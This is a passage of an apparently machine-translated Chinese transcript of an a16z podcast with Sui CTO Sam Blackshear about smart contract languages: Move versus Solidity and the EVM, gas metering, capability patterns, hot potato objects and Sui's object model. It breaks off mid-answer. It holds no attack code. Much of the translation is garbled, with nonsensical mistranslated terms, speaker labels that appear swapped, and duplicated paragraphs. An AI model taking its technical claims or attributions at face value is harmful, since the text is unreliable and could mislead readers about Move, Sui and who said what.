但我想补充的一点，我认为函数式编程给我们带来的巨大贡献是，我们使用的所有命令式语言都是借用的。但最好的是，就像你刚才说的，Rust受标准电子邮件的影响很大，但Rust基本上是一种命令式语言，对吧？但它拥有所有从凝视他们而来的奇妙的仙尘。 Sui CTO Sam Blackshear ： 总的来说，我认为真正的问题是，从1977年开始，命令式语言的影响力太大了。然后是PRFP，正如你所说，它不是最伟大的，它有自己的伟大想法，孤立地看，每个人都有自己的问题。我们现在只看到像 Rust 这样的真正的混血儿漂亮地嫁给他们。它真的改变了景观。 所我想提的一件事是，就是Tony Hoare 称之为节点引用的十亿美元错误。虽然他当时可能是想夸张一下，但显然这个错误带来的代价比不犯这个错误更加昂贵。 a16z Eddy Lazzarin：不，这可能只是下限。 2、智能合约的创新发展 a16z Noah：我其实很好奇你没怎么谈虚拟机层和编程语言层的创新，以及它们如何影响智能合约的发展。 Sui CTO Sam Blackshear ： 这是个很好的问题。我认为人们没有充分考虑这些区别，比如虚拟机层和编程语言层的区别。实际上，除了EVM和新的虚拟机层，还有很多创新，比如Viper等源代码语言。这些东西在很多方面都比Solidity更好，也很有趣。 我认为，如果Move能够成为我们期望的Web 3.0的法律标准，那么虚拟机层的创新将会是缓慢而渐进的。因为核心是固定的，我们只会添加新的东西，而不会彻底重新设计。 但是，我认为源代码语言层面的创新将会相当重要。现在，我们只有一种源代码语言，但它与字节码格式紧密相连。但是，随着越来越多的客户使用智能合约，并强调安全性，我可以想象将会有很多不同的源代码语言需要尝试，这是一个有趣的研究领域。也许你可以先写下你之前的事实，然后在程序中为你综合他们的信息，或者对限制的建议。 也许你可以从编写你的Move以前的事实开始，然后通过合成程序为你填充程序，或提出限制的建议。 比如，你可能在一个非常特定的游戏上下文中编写Move，这个游戏看起来像场景层次结构。也许它是用Python库编写的，但是编译成Move的字节码。也许你像 Solana 或其他平台一样，正在考虑整合Move，但不想整合虚拟机，而是通过将Move的字节码编译为Salina的字节码格式，然后在开发者级别使用Move源代码语言。 我认为有很多不同的方法，就像JVM（Java Virtual Machine）一样。JVM是一个美妙的通用虚拟机，最初只支持Java。但它经过了时间的考验，并且现在你有Scala、Groovy和其他一些有趣的方式来使用这些原语来设计不同的编程体验，非常符合人们想做的事情。 所以，我有一种偏见的看法，认为Viper可以给你很多在源代码语言层面进行实验的空间。 a16z Eddy Lazzarin：你对所有替代EVM字节码语言的看法如何？比如有FE、Iron和Viper等，这些有趣的努力旨在为EVM构建更智能、更复杂的语言，你对此持乐观态度吗？ Sui CTO Sam Blackshear ：所以这些都是编译成EVM字节码的不同源代码语言。 a16z Eddy Lazzarin：对，编译成EVM字节码。 Sui CTO Sam Blackshear ：我们在Facebook开始设计Move时，看到其他源代码语言构建EVM的情况时，我们研究了Solidity和Viper，这是在我们开始构建EVM的时候。我们最终得出的结论是，让人们编写安全的智能合约最困难的问题是EVM的底层性质，以及如何让类型化的值在可信边界上流动，以及动态决策等等这些问题，这些都是EVM的特性。 如果你构建一个更好的源代码语言，你可以让开发者更难搞砸。也许他们可以进行更高级的验证，但最终，Move能够提供的，而且我们认为很重要的是，代码验证器和VM级别的保护，以免受其他程序员的攻击。 源代码语言不能给你这个，必须将其内置到VM中，无论你在EVM上迭代完美源代码语言多少次，我认为Solidity很棒，我们也可以做得更好，但我认为，如果你没有这些基本的保护措施内置到VM中，你得到的结果最终会不如一些其他路径。我不是因为我认为Half很酷而感到尴尬，而是因为我认为最终状态不如其他路径那么吸引人。 我认为早期智能合约语言，特别是EVM，过度适配了平台的实现细节，这些实现细节是为以太坊设计的，内部包括了关于交易结构的指令，账户结构的指令，使用特定类型的密码学等等。 我认为这使得在一个不像以太坊那样的链上使用EVM变得非常困难，你最终不得不继承以太坊做出的许多设计决策，也许在某些情况下，还要继承一些让以太坊难以扩展的错误。 在设计Move时，我们非常清醒地意识到不要将任何区块链特有的东西加入到核心语言中，尽可能地让它与具体的区块链无关。这样你就可以拿着Move，在一个具有疯狂交易结构的工作量证明链上使用它，这个链可能是在瑞典这样做，而另一个链在澳大利亚是这样做的。 这样，你就不必押注在某个特定的链上成为一个Move开发者。你可以将你的技能跨越各种不同的链使用，包括未来的链。我们认为这对于一个智能合约语言的生存至关重要，因为一个语言最大的资产就是它的社区。而通过使你的技能跨平台，而不是过度适配于一种语言，你可以扩大社区的规模，从而更好地实现成功。然后，一个大的社区是使得在工具上投入大量资金、在公共库上投入大量资金以及所有你真正需要一个语言成为大牌并取得成功的东西变得可能。 这是我们从一开始就尝试做的事情，现在看到了多个真正不同的Move链，它们在如何整合语言方面非常不同。 a16z Eddy Lazzarin：在我看来，这是node.js底层的主题，对吧？ 主持人 Sonal Chokshi：是的。 a16z Eddy Lazzarin：有很多人知道JavaScript，他们想做很多事情。他们想共享各种库。现有的代码可以启动服务器端的JavaScript实例，这使得node变得有用。这意味着有各种各样的开发者可能不做后端编程，但可以开始进入并将其作为自己的领域。 Sui CTO Sam Blackshear ： 我认为这个对比很好。另外，我们想要谈谈关于编程语言治理的问题，因为Node显然有一些非常引人注目的治理分歧和分裂，每个编程语言社区都有许多引人注目的治理分歧和发展方向。我曾经报道过Node，它是我最喜欢的之一。但我想确保我们完成这个主题。还有别的要说的吗？我觉得你是我们广播节目中的居民老古板，我很喜欢。 a16z Noah：所以我有一个反面观点，或者说我有一个很酷的想法。我一直在想，为什么没有人建立一个Move的OP Rollup，那将会非常酷，考虑到OP的Rollup人们是在以太坊上实现的，他们使用MetaMask和ECDSA签名，但似乎并没有使用与我们相同的签名格式，比如Move似乎没有使用ECDSA。 Sui CTO Sam Blackshear ：是的，我们支持以太坊的EdDSA和ECDSA签名格式。 a16z Noah：很完美，但我的观点是，你可以构建一些非常有趣的东西。但是，当我试图学习Move时，我一直在盯着甜点和演员狗。我很困惑。 Sui CTO Sam Blackshear ：确实是一个问题，对吧？当有人开始学习Move时，他们可能会很困惑：我正在学习智能合约语言，但区块链在哪里？如果你试图为两个平台编写代码，它们之间的差异也会产生问题。所以我认为我们仍在努力解决的挑战是，选择一个平台，选择一个甜点，选择一个Optus，深入学习它，然后你会发现你的技能和代码可以很容易地转移到另一个平台上。我认为这里存在一些固有的问题，还有一些文档问题需要解决，以使这一切更加容易。 a16z Eddy Lazzarin：也许类比一下，取决于你是否认为 SQL 是一种可移植的技能。有很多 SQL 方言。有一个反 SQL，没人真正知道它是什么，但他们能学会 SQL，如果你稍微眯眼睛，你可以使用任何数据库，可能会对特定的函数名称或特定的类型有些困惑，但大致是相同的形状。 我认为这使得 SQL 很强大和耐用。这就是为什么它仍然是数据的共通语的一部分的原因。也许这就是 Move 的未来。我认为我们可以做得更好一些。 Sui CTO Sam Blackshear ：我认为在跨平台方面，这是一个很好的目标，非常应用程序特定。这就是正确的语言来谈论表格和谈论数据库。这是一个无可争议的事实，这就是为什么每个人都使用它。所以，如果 Move 能成为区块链中的 SQL，我会很高兴的。 3、智能合约编程的独特事物 主持人 Sonal Chokshi： 我们已经围绕着传统与智能合约编程、特定约束和差异以及甚至一些 Tread 和智能合约编程之间的相似之处来回讨论了。有没有关于智能合约编程的独特事物，我们没有涵盖？ a16z Eddy Lazzarin： 在智能合约上下文中，另一个非常重要的事情是资源使用，如 Solidity 中的 Gas Metering。虽然在很多情况下，计算资源是相对丰富的，计算成本也是非常重要的。但是在智能合约上下文之外或区块链上下文之外，这意味着它仅被涉及和考虑得更少。我认为在语言中有关你消耗的资源的概念可能是智能合约编程的一个有趣的资源。 Sui CTO Sam Blackshear ： 这是我们非常关注的事情，我们在 EVM 中构建了 Gas Metering，正如你所说，这与传统编程语言非常不同。 我认为今后的趋势是 Gas Meeting 会变得越来越粗粒度，更多地防止如资源滥用之类的严重问题，而不是真正地为每个指令精打细算。 我实际上认为像 Gas Golfing（Sui World注：Gas Golfing 指的是在一系列智能合约的跳转交互中，开发者编写最节省 gas 代码的挑战） 这样的东西虽然非常有趣，但实际上对编码风格和安全性都有很大的伤害。 讽刺的是，我们之所以只知道按指令收费的模型，可能是因为如果你有一个庞大的虚拟机，运行10万条指令和运行50万条指令的差别在实际测量运行时间时微不足道。 所以，我们为什么要按指令收费呢？因此，我认为我们会看到一种趋势，就是如何使这更加粗粒度。 每当我看到所有这些不安全的块和Solidity代码中的大量内联汇编时，这让我想起我们现在处于多么早期的阶段，因为这不是智能合约开发人员应该考虑的编程挑战，这不是一个成熟的开发生态系统的标志。但我们正在朝着这个方向发展。我同意我们要考虑极限情况。选择正确的算法、选择正确的数据结构、选择正确的一般方法，这是大多数软件工程的情况，都是很重要的。但关于准确计算每条指令的成本的琐碎问题可能太过繁琐了。 主持人 Sonal Chokshi： 我们谈到了优化gas，类型、资产和安全性。还有哪些限制是需要考虑的？ Sui CTO Sam Blackshear ： 这是一个类似于gas的线程，但我想到的具体子集是状态。这对我来说是一个大问题。当我考虑gas操作时，我喜欢进行极端的gas优化。 但是，当我们处理持有真实资金的实际智能合约时，我的一般建议是，除非你可以费尽心思地使用略少于之前使用的状态，否则你应该做出合理的组织。那是唯一一次我会使用大型汇编块的情况，如果你可以做出一些愚蠢的事情来使用更少的状态，因为这就像一个永远的资源，我们应该将它放在仅高于执行或调用数据的位置。 a16z Eddy Lazzarin：我完全同意这个观点，因为我认为这是根本性的昂贵的问题。如果一个平台允许每个合约都触及任何一块状态，那么它将很难实现并行化。而像 Squeeze 以及其他一些新的区块链平台所采用的方法是，显式地限定交易可以访问的状态，至少让我知道一些。这样在高层面上平台就能够更容易地将交易实现并行化，包括执行和共识。因此，这是一些程序员必须思考的问题：在访问状态时尽可能地快，不要触及不需要的状态，这样验证者才能更有效地实现并行化，实现更多的区块空间。 a16z Noah：这是否会打开一种世界，即即使在非角色扮演的情况下，不是所有验证者都需要下载全部状态？如果你能很容易地将状态分离开来，让验证者仅服务于它能处理的事务，这是否可以实现？ Sui CTO Sam Blackshear ：我认为这确实有可能实现这样的世界。这也为不同的方法开辟了一条道路。 让我回顾一下，从程序员的角度来看，能够跨不同的交易触及整个世界是非常有价值的。但是，我们不能过于强调这个优点，以至于必须通过 Rollup 或者跨多个交易来实现，因为这会降低安全性，让用户注意到。 我认为区块链的价值来自于这样的抽象：有一个账本，所有有价值的状态都在这个账本上，我可以一次性触及它们。从程序员的角度来看，这是区块链的价值所在。问题在于：如何在幕后让事情更有效地进行？如何让它变得更加稀疏，使得验证者可以更有效地进行并行化？在Sui 中，一个验证者可以有多个工作人员，每个工作人员负责一部分状态。但从程序员的角度、甚至从其他验证者的角度来看，它看起来就像是一个逻辑实体，它可以完成一切工作。 这使得存储、执行都变得更容易，而不必将这些东西编码到协议级别，并让用户和程序员来考虑。 4、智能合约编程思维方式上的改变 主持人 Sonal Chokshi： 我们刚才讨论了一些与智能合约编程相关的独特之处。还有哪些思维方式上的改变？我们已经谈到了一些，像Eddie提到的，一个巨大的转变是，在编程的世界中，至少自从计算机的早期，我们处于丰富的世界，但在这个世界中，我们处于限制的世界。那是一个思维方式的例子。还有哪些思维方式的转变？特别是对于你们每个人来说，作为你们接触智能合约编程的程序员，有什么让你们感到惊讶，或者教会了你们，或者让你们对某些事情有了不同的看法？ a16z Eddy Lazzarin： 也许一个有点傻的例子是，我还记得几年前我第一次学到ERC-20代币的余额不是你的账户拥有的东西。你的地址没有代币余额。代替它的是，有一个代币合约，记录着哪个地址有多少余额。当你想要向某人转移代币时，你不是发送给他们一些代币。相反，你需要到合约中进行所有这些低级别的操作，改变你的地址和他们的地址所持有的余额。你有权限操作和改变那个合约。这是一种非常反直觉的方式，在 EVM 和 Slippery 中这是第一次让我注意到的关于Move的一个有趣的思维方式转变。这是有趣的思维方式转变，因为我们经常听到的英文单词不一定与编程模型相对应。 Sui CTO Sam Blackshear ： 我想要补充一点，这与你在实际操作时有关。在正常的世界中，我们非常关注开发人员的生产力，因为工程师的工作是编写大量代码，让这些代码只有几个错误，并且这些错误不会太严重。而在智能合约世界中，你的工作是编写非常少量的代码，而且必须完美无缺。它必须在所有可能的方面都是完美的。否则，你将失去数亿其他人的钱。 这是一种完全不同的思维方式的转变。花费两个月的时间盯着1000行代码，并尝试想出如何使其更好、更重要的是，如何使其完美，然后审核人员也要做同样的工作，判断它是否完美。 主持人 Sonal Chokshi：这是一个大的思维转变。在编程的世界里，至少自计算机的早期以来，我们一直处于丰富的世界，但在这个世界中，我们处于一个约束的世界。 a16z Eddy Lazzarin： 另一个思维转变是，在ERC 20代币的世界里，你的地址没有代币余额。你不能发送代币，你必须去访问代币合约，在代币合约中查找地址对应的代币余额，然后通过修改地址和余额来完成代币转移。这是一种比较反直觉的思考方式，但在EVM和Move中，这是非常重要的思维转变。 Sui CTO Sam Blackshear ：在智能合约编程中，你的工作是编写一小段代码，并且必须是完美的，因为这个代码可能涉及到数亿人的资金安全。你必须仔细审查代码，确保代码的正确性。 另外，升级智能合约的难度比升级移动应用或网站更高，因为在智能合约中，代码是不可变的。在智能合约编程中，你必须考虑如何支持安全的升级和信任，使其看起来更像传统生态系统。 但是智能合约编程中，你需要拥有一个对抗性的思维方式，这对于来自其他领域的人可能很陌生。这是因为在智能合约中的部署模型，你不仅需要考虑你的应用的预期使用情况，还要考虑非预期的使用情况。因为在传统编程中，有方法可以隐藏自己，限制为一个小型 API，或使用防火墙来限制攻击者的操作等。 但智能合约的整个意义在于，你所做的可以与你从未想象过的代码进行交互，并且可以安全地实现。因此，你需要考虑这种情况下的优点和缺点。这绝对是相对于传统编程的一个思维方式的转变。 主持人 Sonal Chokshi： 这是一个非常重要的问题，也是我们讨论如何编写智能合约和使用智能合约编程语言时应该优先考虑的问题吗？ Sui CTO Sam Blackshear ： 是的，绝对是。这实际上是我最喜欢谈论的事情。这让我非常害怕，智能合约语言设计者需要考虑的问题是安全性。这是主要焦点，甚至可能是唯一的焦点，直到我们解决了这个问题。 我认为，智能合约安全对于更广泛的加密货币采用来说是一种存在性威胁。我这么说的原因是，您可以看一下以太坊和solidity，以及最流行的平台EVM和Solidity。您可以看看编写此代码的早期程序员，他们非常高素质，真正理解底层区块链，非常注重安全。他们知道自己在做什么。我认为，他们非常认真地编写管理数亿美元和数十亿美元的代码的责任。 但是，如果您看一下任何地方的智能合约安全记录，都非常糟糕，这不是这些人的错。我认为这是一个非常困难的问题。并且我认为语言使其更加困难。所以，如果您看看我最喜欢的网站rakt.news，您可以查看排行榜或查看价值数千万或数亿美元的这十个黑客，这些黑客非常惯常，每周或每月发生一次，具体取决于规模。同时，智能合约开发者社区非常小，只有约5000名全职 EVM程序员，这与传统开发者社区相比非常非常小。 因此，如果您相信我们拥有的人是最硬核且最注重安全的人员，但开发实践和安全记录是不可持续的，那么我认为您的结论是，没有任何方式可以使这个空间在没有使安全问题变得更糟的情况下继续增长，这可能意味着它根本不会增长，或者像那些想进入Web3的大型金融机构或公司一样，他们正在看着自己是否必须雇用智能合约开发者？我会被黑客攻击数千万美元并感到紧张。随着时间的推移，这种情况只会变得更糟。他们可能会保持观望。因此，作为试图设计新智能合约语言的人，安全性必须是您首先要考虑的事情。 主持人 Sonal Chokshi： 你们其实已经在不失去资产的背景下暗示了这一点，但是你们更具体地是什么意思呢，因为它非常重要？ Sui CTO Sam Blackshear ：我所说的安全性是指我们既要防止程序员自我脚踏，还要尽可能为他们提供正确的原语，以便他们能够防御攻击，因为智能合约是一个设置，您的代码部署在一个攻击者旁边，攻击者可以直接调用您的代码，可以直接与其链接。您的代码是开源的，或者至少字节码是开源的。 这是目前我们所见过的最具对抗性的编程环境，出错的代价也是最高的。因此，我认为如果你在讨论智能合约编程设计，那么安全性必须始终放在首位。一旦我们解决了安全问题，我们可以考虑其他更具表现力的因素，但这是我的有些乏味，但我认为非常重要的答案。 a16z Eddy Lazzarin：哪些特性能够影响安全性？有什么例子能够体现这一点呢？ Sui CTO Sam Blackshear ： 我认为最重要的是封装，具体来说，是封装的各个子特性。当您编写代码时，您无法预测攻击者会尝试什么，因此需要能够在没有预见到攻击者会做什么的情况下进行推理。所以，您需要一个强大的类型系统，不仅在源代码级别，而且在字节码级别都需要，这样您在编写源代码时获得的保证将在您将代码发布到区块链上、其他人依赖它并与它进行交互时继续保持。 我们观察到，在其他领域中流行的某些特性在智能合约编程中本质上是不适合的，比如动态分派。 在传统的编程中，像接口和动态分派这样的东西是关键的抽象机制，是无处不在的。您可以定义一个接口，然后其他人使用不同的逻辑重写该接口，然后您可以针对该接口进行编程，一切都非常好。但是我们有一个俏皮的说法：“在代码是法律的世界里，接口是犯罪行为。” a16z Noah： 这是个玩笑话，让我们停下来一分钟。在代码是法律的世界里，接口是犯罪行为。 主持人 Sonal Chokshi： 在您继续之前，您能否再解释一下这句话？我不想太快地跳过它。 Sui CTO Sam Blackshear ： 是的，完全正确。这里的想法是，接口不定义行为，它定义了预期行为。比如，当你阅读接口的规范、参数名称甚至类型时，它告诉你想要完成什么。但是并不能保证它就一定会发生。 所以，如果你编写的代码是用来保护某些东西的，但实际上你留下了一个空白支票供攻击者、其他人填写。这在契约法中似乎是一种犯罪。这是一个未明确规定的合同。我非常喜欢这个特性，它在传统的编程语言中很受欢迎。但我们认为，在智能合约中，这导致了许多不同的问题。例如，重新进入需要动态调度。例如，如果您取消了动态调度，则根本没有重新进入。像以太坊中的毒药代币这样的事情发生了，因为您重写了转移函数，而每个人都知道直观地说，它只是用来转移资金，也许不会做其他任何事情。但现在你让它做一些超出预期的事情，比如窃取钱财。这就是一个特性的例子，如果将其删除，那么对代码进行推理并进行适当的封装就变得更加容易了，因为每次看到一个调用点时，您都知道它将确切地做什么，您不必担心其他人以后会做出令您惊讶的事情。 a16z Eddy Lazzarin： 确切地说，我认为这个类比就像如果你定义一个关于椅子的接口，它有四条腿和一个座位，你描述的是它的具体层面，而不是行为层面，你没有描述可能是隐含或默认的关于椅子的其他事情，比如它具有某种结构完整性，它有特定的材料，它是以某种方式放置的。 a16z Eddy Lazzarin： 可能被规避，这意味着接口只是一组任意的描述，不能捕捉您想要强制执行的安全约束。 a16z Noah：这正是定义。 a16z Eddy Lazzarin：在错误的层面定义事物。我很好奇。 Sui CTO Sam Blackshear ： 但是，您如何在接口之外很好地进行模块化？如果接口是一种犯罪，我可能是一个罪犯，因为我的最喜欢构建复杂的智能合约的方式之一是喜欢有不同的合约，具有不同的目的。 而且，特别是在非常复杂的系统中，您有一个基于模块的基础，其中模块遵守某种接口，然后主要合同可以知道如何调用不同的模块。 这些模块通常通过治理方式获得许可，如何获得超级表达的即插即用的模块性？没有标准化接口？如何获得继承？ a16z Eddy Lazzarin： 这些与接口有关的所有事情都喜欢吗？ Sui CTO Sam Blackshear ： 这正是要问的正确问题。他们可以整天反对这一点，但是如何提供一些使您编写有用代码的东西？就像如果不允许您走出房子之类的事情一样，没有犯罪。但是我们做到这一点的方式是，接口和继承并不是唯一的方式，我倾向于以组合为思考方式。我们提供了几种组合原语，不需要动态调度程序接口。 其中之一是泛型。我们有运行时遗传，看起来很像您所拥有的。Clr（Sui World注：common language runtime,公共语言运行库）让我给出一个非常具体的例子，否则这很快就会变得抽象。 像您的ERC-20之类的东西,这显然是一项根本重要的加密标准。如果您的平台，您的语言无法做到这一点，那么它将没有什么用处。在像 Move 这样的语言中，您定义了一个称为t的类型点，其中t是一个泛型类型参数，然后实现了coin的函数，例如有一个函数用于将2个点连接在一起。这适用于所有coin类型。这不是某个人想要覆盖的东西。您定义拆分。 当你想让某人定制代币的行为时，使用所谓的能力模式，例如对于代币，你可能想要定制的一件事情是总供应量是多少，或者更根本的是它的政策是什么？你可以这样表达：好的，你有类型为“t”的点结构体，然后有不同的t的实例化，例如美元、英镑或其他的货币类型。对于你想要定制的东西，你在能力层面上提供它，创建一个代币的函数。你说，这是我的代币的类型参数，然后它会给你一个叫做“资金宝库能力”的东西。然后有其他的逻辑确保只有持有t的宝库能力的人才能铸造和销毁t类型的代币。你可以拿到这个宝库能力，将它锁定在一个不同的合约中，强制执行总供应量的限制。你可以将它放在某个地方，比如说只在周二评论，但不在周四评论。你倒置了控制流，这就允许你进行任意的组合。这是一个技巧的例子，但这个技巧可以在几乎所有地方使用，如果你想要让行为以某种方式工作，你需要硬编码。这听起来不好，但你实现特定的两种方法，然后你为你想允许的东西定义这些能力。 a16z Eddy Lazzarin：你认为能力是你可以添加到一个看起来像是传统程序员的接口的约束吗？ Sui CTO Sam Blackshear ： 是的，我认为大多数这些接口模式可以非常直接地变体。这有点难以编译，但是你可以说，这是这个接口想要做的事情的等效能力模式。 主持人 Sonal Chokshi：顺便问一下，Sam，你觉得这样满意吗？请随意表示异议，有点冲突感是好事。 Sui CTO Sam Blackshear ：我觉得这样还算满意，因为我认为如果你可以有具有内在能力的模块或者结构体，而这些模块可以被喂入具有非常预定义行为的模块中，你最终可以得到完全相同的行为，就像模块可以做到的那样。模块接受抽象的结构体，那个结构体在那个模块中被定义，然后这个结构体里面有一个内在的能力。这实际上非常好用，因为你可以得到非常好的权限样式注册表，它们几乎自然地从这里产生，就像什么叫做DS-Off注册表就是这样，是吧？ a16z Noah： 完全正确。这些能力是可以扩展表示你被允许做的事情。因此这有很多其他的好处。比如说，你想知道我的账户能做什么，你看看我有哪些能力就行了。然后，你可以做程序分析，看看如果我有一个宝库能力，那么我可以调用哪些函数，还有其他一些类似的东西。 5、面向对象和面向资产的编程 a16z Eddy Lazzarin：所以我可能有点提前谈到证明器，但是这些能力对类型系统可见吗？在对程序进行静态分析的时候，这些能力在程序的哪个时候是可见的？如果我写了一些特定实例化的代码，其中有能力，那么在我运行它之前，能够很早地发现我违反了能力吗？ a16z Noah： 是的，这些能力是对类型系统可见的，并且在程序的静态分析阶段就可见了。如果我写了一个具有能力的特定实例化的类型的代码，那么非常早就可以发现我是否违反了能力，不需要在虚拟机上运行它。 Sui CTO Sam Blackshear ： 让我简单回答一下这个问题，然后再提供一些背景信息，它们对编译器可见，并且是类型系统的一部分。这是我们非常重要的一个利用点。但我想稍微讲一下Move可移动性系统中的结构体，以及它如何卷入到类似于审计的能力等级中。如果这不会分散注意力的话。 在Move中，你有结构体类型和类似于其他语言的结构体，它们可以有字段，可以是基本类型的字段，也可以是其他结构体。而更加有趣，也许更加不同的是，这些结构体具有能力。如果你熟悉Rust，那么能力有点像标记交易。它们声明了你在结构体上允许进行的内置操作。 同样重要的是，如果你没有能力，你就不能做那些事情。比较简单的一个能力是非常重要的，那就是复制的能力。如果你有一个代币类型或者非同质化代币之类的东西，在计算机中，它只是一些比特，但你不希望允许别人随意复制这个东西。 在Move中，如果你没有声明你的结构体具有复制的能力，那么你就不能使用我们相当于“man copy”的操作。 所以像整数和字符串这样的东西都有复制。但如果你不想让你的类型具有复制的能力，那么你就不给它。然后还有其他的能力，比如丢弃，这被称为drop能力。这就涉及到了有趣的线性类型的东西，如果你想要丢弃某些东西，比如把它放到作用域之外，或者覆盖掉它，那么你就给它drop能力。但如果你不给drop，那么消除它的唯一方法就是定义该类型的模块所期望的任何策略。 公共语言运行库(common language runtime,CLR)举个具体的例子，如果你想为你的代币保持一个总供应量，你就不给你的代币drop能力。然后除了在声明它的模块中定义的burn函数，没有其他方式可以摆脱它，这个函数可以更新总供应量。这些都是你可以使用的技巧。还有几个与存储有关的能力，比如它是否可以存储在全局存储中，我不会详细讲述，因为它们对这个问题不太相关。但基本上，能力已经融入到审计程序中，审计程序了解类型系统，知道如何利用类型系统来解决问题。如果我编写一个说明，说只有一个这样的东西，那么审计程序可以利用这个来证明这个属性。因此，能力和类型系统的保证是相辅相成的。 a16z Noah：当你提到drop时，我就想谈谈我最喜欢的东西。你能不能谈一下热土豆模式是什么？如果还有其他类似的酷东西，它是我最喜欢的奇怪事情之一，是从Move中产生的。 Sui CTO Sam Blackshear ： 这确实是一个奇怪的东西。这与能力非常密切相关。通常在编程语言中，你对于何时可以消除你的值没有太多的控制，可能你有一个析构函数来说明你的值何时会消失。但是有时析构函数的保证比较弱，或者你不能简单地说类似于“你不能删除我的类型”。这听起来像是一个奇怪的限制，但它实际上非常有力，特别是在没有动态分派的情况下。 我先举一个热土豆的例子，然后我们可以深入了解闪电贷之类的东西。如果你在以太坊上进行闪电贷，这是一个标准，你可以重载它，基本上你公开一个回调函数，就像一个闪电贷合约，你给我钱，我的回调函数然后取回钱之类的，而在Move中，你这样做的方式是有人去闪电贷合约，他们说，“嘿，给我53块，但他们也给你所谓的热土豆对象。 热土豆对象是一个结构体，它没有能力。它没有复制，所以你不能复制它。它没有全局存储的能力，你不能像将它放在一个合约中一样将其藏起来。它也没有drop能力，所以你无法将其丢弃。因此，唯一的摆脱它的方法是将它传回闪电贷合约。让你传回它的闪电贷合约的代码，强制你还款。如果你不还，它的程序将在运行时失败，甚至不会通过类型检查。因此，这是利用有趣的能力控制你的值的破坏，作为一个程序员，可以在任何时候强加任意的不变量，以决定何时可以销毁这些对象。这些看起来很像API调用模式非常明确。另一个非常明显的例子是，如果你想要强制某人在调用unlock之后调用lock，但在两者之间可以做任何想做的事情，你也可以用这种方法实现。 a16z Eddy Lazzarin： 当我第一次听到“烫手山芋”模式时，我想到了像“mute texas”这样的锁的有趣用途，这些锁仅出于人体工程学目的，利用了类型系统，以强制特定对象的使用方式，几乎是商业逻辑级别的要求。我认为这是非常聪明的，感觉非常现代化，是编程语言中人体工程学的高质量使用方式，而这种方式在传统的编程语言中甚至还不是很常见，但在智能合约环境中显然非常有价值，因为在这里有更多的逻辑要求，要考虑可能涉及的价值和安全性。 Sui CTO Sam Blackshear ： 在我们讨论任何具体的例子之前，您能否快速概述一下我们的对象系统的高级概述？对象是什么，谁拥有它们？对象如何拥有其他对象，模块如何与它们一起工作？ a16z Noah：是的，完全正确。这是关于Move语言的一个方言，特别是Sui Move。这个东西的基础是全局存储的不同结构，而不是我们曾经使用的原始Move方言的全局存储方案。原始的Move全局存储方案非常类似于以太坊使用的公司模型。 在Sui Move中，我们希望将事物的中心点放在对象上，高度激励能够尽可能精确地表示细粒度访问。这有助于你做很多事情，我们不会在这个播客上详细介绍，比如更有效地处理事务，告诉钱包用户事务将要做什么等等。 所以在Sui Move中，全局存储的结构是一个从对象ID到对象ID的映射。然后对象只是具有一个称为键（key）的能力的Move结构。它说：“嘿，我可以作为键。”它可以出现在全局对象池中。然后每个对象必须具有一个全局唯一的ID。然后你可以为你的模块编写入口点函数，它们可以直接将对象作为输入。如果你在写一个事务，这个WeRunTime就会有对象ID。如果你写的是事务，WeRunTime就能够使用这些ID来将ID解析为对象，并将其插入函数中。 这种面向对象和面向资产的编程体验非常棒。它比我们在原始Move版本中的做法直接得多。你还提到了父对象和子对象以及对象层次结构。这非常有用，但你仍然希望能够像表示大型集合这样的东西 比如，我正在构建一个类似于DNS的注册表，我希望有数百万个条目。我们有一个对象大小限制，一个对象可以是几兆字节，但不能更大。但是如果你有像DNS这样的东西，它应该是任意大的。我们表示它的方式是使用父子对象关系，我们基本上有一种方式将一个对象视为异构映射。然后你可以添加具有动态选择字段的键。这在某种程度上非常类似于JavaScript。我们可以说，这个对象有一个映射在里面，然后我可以在这个映射里放一些东西。或者你可以说，当我定义这个对象时，它有十个字段，但我实际上想在后来添加一个新字段，我将升级我的合同。我想在事后添加一个新字段。 我们表示它的方式是使用这些父对象和子对象关系，每个子对象都与一个键值相关联，可以是任意的Move值，例如字符串或u64，或任何你想要的其他值。 a16z Noah： 是的，与父对象的概念有关，我认为让它真正成为我的“灵光一闪”的事情实际上是几个月前我花时间深入研究 Sui Move，并从写一个只有一个对象的程序一直到重新实现了大部分Uniswap V2风格的卡牌组合。我做的一个小项目真正让我意识到拥有对象的对象是如此有价值。这个项目只有三个对象，锁、金子和一个空的障碍物。有一个很基本的模块，你可以想象它可以创建由钥匙对象拥有的金子。然后唯一的取出金子的方法是有一个函数，它需要锁和钥匙，并显然销毁锁，把金子给你，然后销毁你的钥匙。这种方式非常有趣，通过这种方式，你可以描述对象之间的关系，并以非常细粒度的方式描述权限。 Sui CTO Sam Blackshear ： 这也正是我们所考虑的。我喜欢你描述三个不同对象的嵌套方式，因为这种方式在深入到更深层次时变得更加强大。这使得作为程序员更容易结构化，以确保我可以到达第二层，然后可以触及第三层，但我不能直接从第一层到达第三层。我认为这也使得对于从智能合约空间之外的程序员来说更容易理解，比如这些人非常熟悉编写对象树、DOM对象树，如果你是游戏程序员，一切都是场景层次结构，其中有一个角色，他们有一个库存，然后库存里可能有一些小东西。你可以非常直接地在Move中编码这些内容，然后类型系统允许你以非常直接和安全的方式设置这种访问控制。我认为这是一种非常实际的编程体验，它真正反映了关于现实世界的直觉，或者如何描述某些东西，然后直接转化为相关的代码。 6、Move 与 Solidity 的安全性对比 主持人 Sonal Chokshi：顺便说一下，在来到 Wired 杂志之前，我曾经在施乐公园呆了6天，这让我想起了一点关于面向对象编程的历史。你刚才说的超级有趣，因为他们发明了 Smalltalk，这是许多今天面向对象框架的早期前身。无论如何，有没有其他的话题想讨论？ a16z Noah：我只有一个普遍性的问题，但实际上，有没有在 EVM 世界中发生的黑客事件等等，你认为如果使用 Move，由于类型系统的缘故，这些事件就不会发生在第一次。 Sui CTO Sam Blackshear ：在 EVM 世界中，我们已经提到了动态分配和重入，Move 通过构造消除了重入，任何与重入相关的问题都会消失，我认为人们做得很好。现在，我认为它避免了反应和查看。 a16z Eddy Lazzarin：但是你能解释一下，为什么 Move 会让这些问题不可能发生吗？ Sui CTO Sam Blackshear ： 